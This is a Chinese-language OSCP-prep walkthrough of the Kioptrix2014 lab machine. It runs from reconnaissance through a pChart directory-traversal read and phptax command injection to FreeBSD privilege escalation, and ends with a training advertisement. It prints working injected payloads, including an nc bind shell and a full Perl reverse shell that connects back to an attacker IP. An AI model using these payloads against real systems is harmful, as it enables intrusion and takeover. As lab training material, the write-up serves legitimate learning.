oscp备战系列-Kioptrix2014

文章目录

一、信息收集

  1. 主机探测

    nmap 192.168.30.0/24 -sP

  1. 端口及版本探测

    nmap 192.168.30.199 -sV

可以看到开放了80,8080端口,采用apache 2.2.21 mod_ssl2.2.21 openssl0.9.8q WebDAV2 php5.3.8

OS: FreeBSD,22端口关闭的

  1. 指纹探测

    whatweb -v 192.168.30.199

从summary可以看出跟我们端口服务探测的结果差不多,唯一关注的是重定向路径pChart2.1.3/index.php

有两个重定向路径的指纹探测报告,分别是

复制代码
http://192.168.30.199/pChart2.1.3/index.php
http://192.168.30.199/pChart2.1.3/examples/index.php
  1. 目录扫描

    dirb http://192.168.30.199 -N 403
    sudo dirsearch -u 192.168.30.199 -x 403

没有扫出什么目录和文件,但是我们已知有一条重定向路径指向目录pChart2.1.3,所以我们扫描一下该目录

复制代码
sudo dirsearch -u http://192.168.30.199/pChart2.1.3

查看扫描出来的文件,主要关注的是readme.txt,拥有一些关于pChart信息,包括版本信息,作者 ,以及相关文件结构

  1. Web页面信息

80端口仅有一个It works

8080端口显示forbidden

重定向页面

拥有一些图表

从上述收集的信息来看没有什么价值的,好像只能通过指纹探测获取的信息来查看是否有历史漏洞

二、漏洞探测

  1. pChart

使用searchsploit探测pChart的漏洞

复制代码
searchsploit pChart

搜索出来一个,并且刚好符合版本,根据exp标题是多个漏洞,描述在了31173.txt里,复制31173.txt到当前目录

复制代码
searchsploit 31173 -m

查看漏洞描述

复制代码
cat  31173.txt

可以看到漏洞标题为目录穿越和反射型xss,我们可以关注一下目录遍历,已经给我们例子了,穿越读取了 /etc/passwd,观察路径/examples/index.php刚好就是我们重定向的路径,直接复制payload访问

可以看到成功读取,可以发现到FreeBSD的版本信息9.0.0,以及一些用户数据(应该用不上,ssh关闭了)

查看apache的配置文件

路径:/usr/local/etc/apache2x/httpd.conf x代表版本号,我们apache版本是2.2.21,所以看apache22

复制代码
http://x.x.x.x/pChart2.1.3/examples/index.php?Action=View&Script=%2f..%2f..%2f/usr/local/etc/apache22/httpd.conf

SetEnvIf指令根据客户端的请求属性设置环境变量

也就是说客户端访问8080端口需要以红框标的user-agent去访问,我们可以通过抓包改包实现

原本我这里是5.0,改成4.0放包即可

成功访问,有一个phptax,同样要改变user-agent访问

第二个数据包也要改为4.0,其中请求的路径/phptax/drawimage.php

成功访问

  1. FreeBSD

查看FreeBSD 9.0版本是否存在漏洞

复制代码
searchsploit freebsd 9.0

有存在漏洞及利用脚本,但是两个都是涉及权限提升,可以后续获取shell之后使用

  1. mod_ssl

查看mod_ssl的漏洞

复制代码
searchsploit mod_ssl  2.2

我们前面探测到的mod_ssl是2.2.21 < 2.8.7,可以尝试进行利用,我们选择47080.c脚本进行利用,在Kioptrix level 1 里有用到过,但是运行发现没有符合freebsd apache2.2.21版本

  1. phptax

查看一下phptax漏洞

复制代码
searchsploit phptax

有两个远程代码执行漏洞,复制查看25849.txt看看

复制代码
searchsploit 25849 -m
cat 25849.txt

可以看到exp对应路径是index.php,但我们刚才所在路径为/phptax/drawimage.php

查看另外一个21665.txt看看

可以看到符合我们刚才所在的路径,并且还有一个利用payload,貌似是配合nc正向shell

payload解读出来

复制代码
nc -l -v -p 23235 -e /bin/bash;        //在23235端口启用正向shell
;%20nc%20-l%20-v%20-p%2023235%20-e%20/bin/bash;&pdf=make

三、漏洞利用

  1. 反弹shell

我们先在kali启一个nc监听

复制代码
nc 192.168.30.199 23235

然后打进payload

试了几次都没有回连,应该是目标靶机没有nc,那按照这个思路尝试其他的反弹shell

kali监听

复制代码
nc -lvp 4444

然后尝试不同反弹shell payload,这里为了方便,使用hackbar,最终反弹shell成功,使用的perl命令,命令如下:

复制代码
http://192.168.30.199:8080/phptax/drawimage.php?pfilez=1040pg1.tob;perl -e 'use Socket;$i="192.168.30.176";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};';&pdf=make

payload需要进行url编码,如下图:

成功反弹


四、后渗透

  1. 收集信息

操作系统为freebsd 9.0 和我们刚才已知一样,用户为www,权限不高,有nc,没python,但是刚才nc正向shell没弹,不知道啥原因

  1. 提升权限

刚才我们有查询到 freebsd 的提权脚本

分别是28718.c和26368.c,尝试一下内核提权脚本28718.c,将其复制到当前目录然后尝试编译一下

报错没有cpufunc.h头文件,先将c文件传到目标靶机,由目标靶机编译试试,刚才注意到有nc,可以用nc传文件

复制代码
靶机: nc -v -l 8888 > 28718.c
kali: nc 192.168.30.199 8888 < 28718.c

但是好像传输失败了,原因是目标靶机端口未放通,我还尝试了80和8080也是失败

查询资料发现可以使用fetch传输

先在kali起一个python服务

然后靶机fetch接收

编译执行,报错

尝试另外一个脚本26368.c

成功提权


近期泷羽推出oscp培训,价格实惠,只需要4000,学生还可以优惠500,可以分期,培训六个月,提供官方教材,以及带着刷众多靶机(大约200多台),每天都有直播教学,以及录播,有想考oscp证书意向的师傅可以私信我,也可以扫描海报二维码进行咨询

文章原创,欢迎转载,请注明文章出处

相关推荐
西岸行者9 天前
学习笔记:SKILLS 能帮助更好的vibe coding
笔记·学习
悠哉悠哉愿意9 天前
【单片机学习笔记】串口、超声波、NE555的同时使用
笔记·单片机·学习
别催小唐敲代码9 天前
嵌入式学习路线
学习
毛小茛9 天前
计算机系统概论——校验码
学习
babe小鑫9 天前
大专经济信息管理专业学习数据分析的必要性
学习·数据挖掘·数据分析
winfreedoms9 天前
ROS2知识大白话
笔记·学习·ros2
在这habit之下9 天前
Linux Virtual Server(LVS)学习总结
linux·学习·lvs
我想我不够好。9 天前
2026.2.25监控学习
学习
im_AMBER9 天前
Leetcode 127 删除有序数组中的重复项 | 删除有序数组中的重复项 II
数据结构·学习·算法·leetcode
CodeJourney_J9 天前
从“Hello World“ 开始 C++
c语言·c++·学习